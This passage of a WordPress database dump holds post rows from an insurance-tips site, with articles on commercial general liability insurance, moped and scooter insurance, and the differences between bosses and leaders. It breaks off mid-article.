(3792,1,'2024-01-29 23:18:29','2024-01-29 23:18:29','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3791,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-57-1024x1024.png\" alt=\"\" class=\"wp-image-3791\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is Commercial General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">Commercial general liability (CGL) insurance is a type of policy that provides coverage to a business for bodily injury, personal injury, and property damage caused by the business’s operations, products, or injuries that occur on the business’s premises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-3\">Commercial general liability insurance is considered comprehensive business insurance, though it does not cover all risks that a business may face.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Commercial general liability insurance is a form of comprehensive insurance that offers coverage in case of damage or injury caused by a business’s operations or products, or on its premises. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There are two types of CGL policies: a claims-made policy that covers claims regardless of when the event took place, and an occurrence policy where the event must take place during a set period.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Companies can add other companies or individuals they contract with to their commercial liability insurance policy as an “additional insured.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Commercial general liability policies may cover the cost of any accidental damages as a result of the business\' operations or the legal costs of defending a suit.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Commercial general liability does not provide protection against intentional damages, or any type of accident involving automobiles, aircraft, or watercraft.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-7\">Understanding Commercial General Liability Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-8\">Premises Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">Commercial general liability policies have different levels of coverage. A policy may include premises coverage, which protects the business from claims that occur on the business’s physical location during regular business operations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">It may also include coverage for bodily injury and property damage that is the result of a finished product or service done at another location.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-13\">Excess Liability Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-14\">Commercial insurance companies also sell excess liability coverage, which can be purchased in order to cover claims that exceed the limit of the CGL policy.3 Some commercial general liability policies may have exclusions that restrict what actions are covered. For example, a policy may not cover the costs associated with a product recall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-16\">Claims-Made vs. Occurrence Policy</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">When purchasing commercial general liability insurance, it is important for the business to differentiate between a claims-made policy and an occurrence policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">A claims-made policy provides coverage for whenever a claim is made, regardless of when the claim event happened. An occurrence policy covers claims where the claim event occurred during the time of the policy even if the policy is now expired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Other Types of Policies</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">In addition to commercial general liability policies, businesses may also purchase policies that provide coverage for other business risks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">For example, the business may purchase employment practices liability coverage to protect itself from claims associated with sexual harassment, wrongful termination, and discrimination. It may also purchase insurance to cover errors and omissions made in financial reporting statements, as well as coverage for damages, resulting from the actions of its directors and officers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Warning: A typical commercial general insurance policy covers accidental damage or injuries but does not cover injuries that are intentional or could be expected to happen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">Special Considerations&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">Depending on its business needs, a company may need to name other companies or persons as \"additional insured\" under its commercial liability insurance policy. This is common when businesses enter into a contract with another entity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">For example, if an automobile repair garage enters into a contract with ABC Co. to have the latter provide cleaning services for its facility, ABC Co. may require the garage owners to add ABC Co. as \"additional insured\" on its commercial general liability coverage policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Examples of Commercial General Liability</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">Some examples that would require CGL include the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-36\"><!-- wp:list-item -->\n<li>A customer enters a place of business where the floors have recently been cleaned and polished, and as a result, are very slippery. The customer slips on the floor and breaks a leg.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>One of the employees of an electrical company visits a home for an electrical wiring job and accidentally causes a fire in the customer\'s home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An advertisement placed by the business results in an individual claiming libel or slander.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">In each of these cases, a commercial general liability policy might cover the cost of hiring lawyers to defend the company or the cost of settling the claims. If a business has frequent claims against its CGL insurance, the insurer might raise the premium costs of the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Damages Does CGL Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Commercial general liability insurance covers injuries to a person or property damage that occurs on the premises of a business. This type of policy can also protect a business from claims of slander, libel, or advertising injury.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Does Commercial General Liability Insurance Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Naturally, the cost of commercial general liability insurance depends on the size of the business being insured, the riskiness of its business operations, and the amount of coverage needed. Some insurers say that their clients pay between $300 and $600 for a million dollars of insurance coverage. Others say their clients may pay as much as $1,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Not Covered Under Commercial General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most CGL policies do not cover intentional or expected damage by the insured. They also do not cover damages due to intoxication (in alcohol-related businesses), pollution, automobiles or other vehicles, damage to a business\' work, or additional liabilities that the insured might take on. A business that is involved in these types of risks should purchase additional insurance in order to be fully covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-46\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">You can protect your business from a variety of risks, including the risk of a lawsuit arising from everyday business activities, with the purchase of a commercial general liability policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">CGL policies cover claims of property damage, personal injury (such as libel or slander), bodily injury, and advertising injury. This coverage will help you pay attorney fees or settlement costs in the event of a lawsuit. And you can augment your coverage with extensions that cover errors and omissions, excess liability, or employment practices liability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">You can\'t predict what will happen in the future, but you can cover your business and reduce your risk with a CGL policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/c/commercial-general-liability-cgl.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','What Does Commercial General Liability (CGL) Insurance Cover?','','inherit','closed','closed','','3790-revision-v1','','','2024-01-29 23:18:29','2024-01-29 23:18:29','',3790,'https://smartinsurance.tips/?p=3792',0,'revision','',0),(3793,1,'2024-01-29 23:22:20','2024-01-29 23:22:20','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3794,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/rsz_1untitled_58.png\" alt=\"\" class=\"wp-image-3794\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters can make commuting a breeze. With small engines and compact frames, you can zip around town without guzzling gas or struggling to find a good parking spot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But for all the convenience of a moped or scooter, it could come with an extra cost: You may need to buy insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are There Differences Between Scooter Insurance and Moped Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are no fundamental differences between scooter insurance and moped insurance. Because both mopeds and scooters are two-wheeled vehicles, they both fall under the motorcycle insurance category with most insurance companies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insurance needs for a moped or scooter generally align—even if the specifications of the vehicle differ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What Is the Difference Between a Moped and Scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters are both small, two-wheeled vehicles powered by gasoline engines, but the maximum speed and engine size vary. State law definitions of mopeds and scooters can differ, so look to your state’s department of motor vehicles (DMV) for clarification.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In general, the key differences between mopeds and scooters are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Mopeds</strong>&nbsp;typically have an engine that is up to 50 cubic centimeters (50cc) and are not intended for highway travel. Top speed usually does not exceed 30 mph.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Scooters</strong>&nbsp;often have larger engines that exceed 50cc (sometimes up to 250cc) and the most powerful ones can reach speeds up to 75 mph. You may not be able to ride your scooter on a highway, depending on your state’s engine size and horsepower minimums.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters should not be confused with the e-scooters commonly seen on the streets and sidewalks of many U.S. cities. E-scooters are typically battery-powered, don’t require a driver’s license and often can’t surpass 15 to 20 mph. Since e-scooters require users to stand, they may be excluded from moped, scooter and motorcycle insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do I Need Moped or Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most states require you to carry liability insurance to ride your moped or scooter on public roads if it has an engine size of 50cc or larger or can reach a top speed of 30 mph or more. If your moped is under 50cc or cannot reach 30 mph, you will most likely not be required to get insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A car insurance policy isn’t suitable for a moped or scooter. Most insurance companies cover mopeds and scooters under their motorcycle insurance policies, though some insurers offer separate policies for mopeds or scooters. If you lease or finance a moped or scooter, the lender or leasing company will likely require that you insure it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does Your State Require Moped or Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Not every state requires moped or scooter insurance. For example, Arizona, Pennsylvania and Texas require moped or scooter insurance, but Florida does not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some state insurance laws are more complicated, such as California, and may require insurance for a scooter but not a moped. And other states base insurance mandates on specific factors, such as the vehicle’s top speed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, New York has separate classes for mopeds and scooters—which it places both under the banner of “limited-use motorcycles”—based on the vehicle’s top speed range. Depending on where your moped or scooter falls determines if it needs insurance, as well as other items, like where it may be driven.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To learn what the laws are in your state, you can:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Check with your auto insurance company or insurance agent.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Contact your state’s department of insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Contact your state’s department of motor vehicles.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Does Moped and Scooter Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moped and scooter insurance generally includes coverage types similar to motorcycle and car insurance, such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Bodily Injury and Property Damage Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moped and scooter bodily injury liability insurance covers injuries you accidentally cause others in an accident. Property damage liability pays for damage you accidentally cause to someone else’s property, such as a car, fence or pole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Collision and Comprehensive Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Collision and comprehensive insurance are separate, optional coverage types, but are often sold together. If you have a lease or loan on your moped or scooter, your leasing company or lender will likely require you to carry these coverage types.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Collision insurance pays for repairs if your moped or scooter is damaged in an accident, regardless of fault.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Comprehensive insurance covers problems such as theft and damage to your moped or scooter from vandalism, flood, fire, falling objects or striking an animal.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Carried Contents and Belongings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Carried contents and belonging coverage pays if your belongings are damaged, stolen or lost while you’re riding the moped or scooter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Medical Payments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Medical payments coverage, also known as MedPay, covers medical bills and funeral costs for you or your passengers if you’re in an accident, no matter who was at fault.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Uninsured or Underinsured Motorists</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Uninsured motorist insurance pays for you and your passengers’ medical bills, lost income and other expenses if someone crashes into you and they do not have liability insurance. Underinsured motorist insurance pays for your injuries if the at-fault driver does not have adequate liability insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Moped and Scooter Insurance Discounts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you insure a moped or scooter you may be able to score a discount such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Multi-policy discount.</strong> Bundling insurance is when you buy two or more policies from one insurance company and get a discount. You may be able to bundle moped or scooter coverage with another insurance type, such as auto, home, RV or boat insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Multi-vehicle discount.</strong>&nbsp;When you insure more than one vehicle, such as a car, motorcycle, moped, ATV or snowmobile, you might get a discount. You may also qualify for a multi-vehicle discount if you insure at least two mopeds or scooters.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Safety discount.</strong>&nbsp;If you take an approved moped or scooter safety course, you may be able to pick up a discount.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Storage discount.</strong>&nbsp;Some companies give discounts if you keep the moped or scooter in a garage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Is Moped and Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Moped and scooter insurance can be as cheap as $4 to $6 per month.</strong> For example, scooter insurance through Progressive is as low as $75 a year for basic liability insurance. A company called Voom sells pay-per-mile coverage for mopeds and scooters that it says costs as little as $50 a year. Those prices are inexpensive compared to how much motorcycle insurance costs, which is an average of $178 per month, according to Forbes Advisor’s analysis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Pro Tip:</strong> To find the best deal on moped and scooter insurance, compare quotes from multiple insurers—starting with your current insurance company for car, home or renters insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your cost for moped and scooter insurance depends on factors such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Coverage you choose</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Driving record</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Engine size</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Location of your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mileage</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Model, make and vehicle year of moped or scooter</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Years of riding experience</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your age</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do I Need Insurance If I Rent a Moped, Scooter or E-Scooter?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Insurance laws vary by location regarding mopeds, scooters and e-scooters insurance, so depending on the state and city you’re renting in, you may need insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before hopping on a rented moped, scooter, e-bike or e-scooter, review the rental agreement’s terms of service to see if any insurance is provided or if you’re left personally liable and responsible if you don’t buy your own insurance. Ask for clarification if you’re uncertain about whether insurance is required and what—if any—coverage is included with the rental contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For instance, the Texas Department of Insurance notes some cities in Texas require scooter rental companies to have insurance coverage, but this mainly covers damage to public property, not injuries or other property damage, like damage to a vehicle you crash into.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Will My Car Insurance Cover a Rented Moped, Scooter or E-scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Don’t assume your car insurance will extend to a rental of a moped, scooter or e-scooter, as most likely it will not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While car insurance coverage usually extends to a rental car, it doesn’t typically cover a rented motorcycle, moped, scooter or e-scooter. That’s because these vehicles have fewer than four wheels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Will Motorcycle Insurance Cover a Rented Moped, Scooter or E-scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Yes, it might. Some insurance companies extend motorcycle insurance coverage to rentals of other two-wheeled vehicles. For example, with Foremost’s Elite motorcycle insurance package a rental motorcycle or moped is covered under the policy’s enhanced rental coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you need insurance for a rented two-wheeled vehicle and have a personal motorcycle, moped or scooter insurance policy, contact your insurance company to verify what coverage will extend to rentals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A motorcycle insurance policy (or one for a moped or gas-powered seated scooter) likely won’t extend to an electric scooter because it’s not a two-wheeled vehicle and you stand on the e-scooter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.forbes.com/advisor/car-insurance/moped-and-scooter-insurance/\">click here.</a></p>\n<!-- /wp:paragraph -->','What To Know About Moped And Scooter Insurance','','publish','closed','closed','','what-to-know-about-moped-and-scooter-insurance-2','','','2024-01-29 23:22:20','2024-01-29 23:22:20','',0,'https://smartinsurance.tips/?p=3793',0,'post','',0),(3794,1,'2024-01-29 23:19:55','2024-01-29 23:19:55','','rsz_1untitled_58','','inherit','closed','closed','','rsz_1untitled_58','','','2024-01-29 23:19:55','2024-01-29 23:19:55','',3793,'http://smartinsurance.tips/wp-content/uploads/2024/01/rsz_1untitled_58.png',0,'attachment','image/png',0);


INSERT INTO `smart_posts` VALUES (4067,1,'2024-05-20 03:31:25','2024-05-20 03:31:25','<!-- wp:paragraph -->\n<p>There are crucial differences between bosses and leaders, so it’s crucial to analyze your leadership style to ensure you’re effectively steering your team in the right direction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4143,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-10-1024x1024.png\" alt=\"\" class=\"wp-image-4143\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Being promoted to a management role is a huge accomplishment, but many professionals find the responsibility more challenging than they imagined. Being someone’s boss doesn’t necessarily mean you’re a good leader.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Effective leadership is increasingly essential in the workplace, as more and more employees leave otherwise excellent companies over one resolvable element – bad bosses. According to a&nbsp;study by GoodHire, 82% of all surveyed professionals would potentially&nbsp;quit their job&nbsp;because of a&nbsp;bad boss.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are crucial differences between bosses and leaders, so it’s crucial to analyze your&nbsp;leadership style&nbsp;to ensure you’re effectively steering your team in the right direction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong> Even people who start out with less effective management skills can modify their behavior to&nbsp;become good leaders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What are the differences between a boss and a leader?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to the father of modern management,&nbsp;Peter Drucker, above all else, all business managers must be leaders. But when many professionals step into management or supervisory roles, they wonder, “What are the qualities of a boss versus a leader?”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We spoke with leadership experts to discover five crucial differences between the two.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you read the following comparisons, reflect on your actions to determine where you fall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Bosses command; leaders influence.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to Sue Andrews, business and HR consultant at KIS Finance, a key difference is that a boss’s authority comes from their position. In contrast, a leader’s authority comes from their ability to influence others.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“A boss is there to ensure that employees follow the rules of an organization, but a leader will encourage others to think for themselves to achieve the desired ends,” Andrews said. “A boss will need to give orders to instruct others what to do, but a leader can inspire others to find the best way forward, whilst motivating them to maximize their potential.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although subordinates follow bosses only because they have to, bosses can grow their influence through encouraging behavior, added Ken Gosnell, founder of CEO Experience. “You can grow your influence by caring for your team, listening to their thoughts and ideas, and sharing the ‘why’ behind the decisions and actions that you take. This is the second step in leadership, but it makes all the difference, and people will follow you because they want to, and not just because they have to.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Bosses explain; leaders inspire.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You shouldn’t just explain a task and leave it in your employee’s hands. According to Christine Macdonald, director of The Hub Events, a boss ensures you understand your work, while a leader supports and guides you through it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“The biggest difference between a leader and a boss is that a good leader inspires people and makes them excited about their work,” she said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Success takes passion; without the desire to complete tasks, workers won’t be as driven to give their best performances. As their leader, you should motivate them by letting them know the importance of their work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Bosses discipline; leaders mentor.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Employees are human, and mistakes are to be expected. Who you are as a boss is evident in how you deal with mishaps. While bosses are more likely to use a reward-and-punishment system to discourage poor behavior, great leaders understand that employees benefit from encouragement and mentorship. If an employee performs well in a specific line of work, that strength should be recognized and mastered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“One key element of leadership is the ability to harness the talents of others to achieve a common goal,” Macdonald said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s essential to note each employee’s strengths and weaknesses and mentor them independently. Rather than attacking skill gaps, work to patch them by guiding employees through their shortcomings and building their confidence in new areas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:</strong> To&nbsp;become a better mentor, listen, communicate, offer constructive feedback, delegate, and practice empathy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Bosses delegate tasks; leaders delegate authority.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A boss focuses on their department’s objectives and stringently follows protocol to achieve those goals. They think for the short term, delegate tasks to their subordinates and tend to micromanage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Executive and leadership coach Christina J. Eisinger says a boss has key objectives to meet, while a leader sets the team’s long-term vision and uses it as “a key motivator.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“A boss gets results by telling people what to do and is concerned with doing it right,” she said. “A leader is skilled at results by enabling their team to figure out what to do and is concerned with doing what is right.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Andrews added that leaders seek to drive commitment by setting an example for others to follow and inspire others by encouraging development. “They are comfortable delegating authority and avoid micromanaging, preferring to see others develop. Utilizing their excellent communication and negotiation skills, they will influence others for the overall benefit of the organization.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong> According to the GoodHire survey, most U.S. workers are most irritated by a manager who is overbearing and micromanages – qualities that can significantly influence their decision to quit their job.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Bosses are above the team; leaders are part of the team.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A boss doesn’t take the time to get to know their employees as a leader does. Eisinger said that bosses view their team members as subordinates, while leaders let go of this hierarchical distinction and view their team members as equal contributors.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be a leader, it’s essential to facilitate positive relationships with your employees. Work with their needs and create a culture that encourages open communication.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“By getting to know your team better, 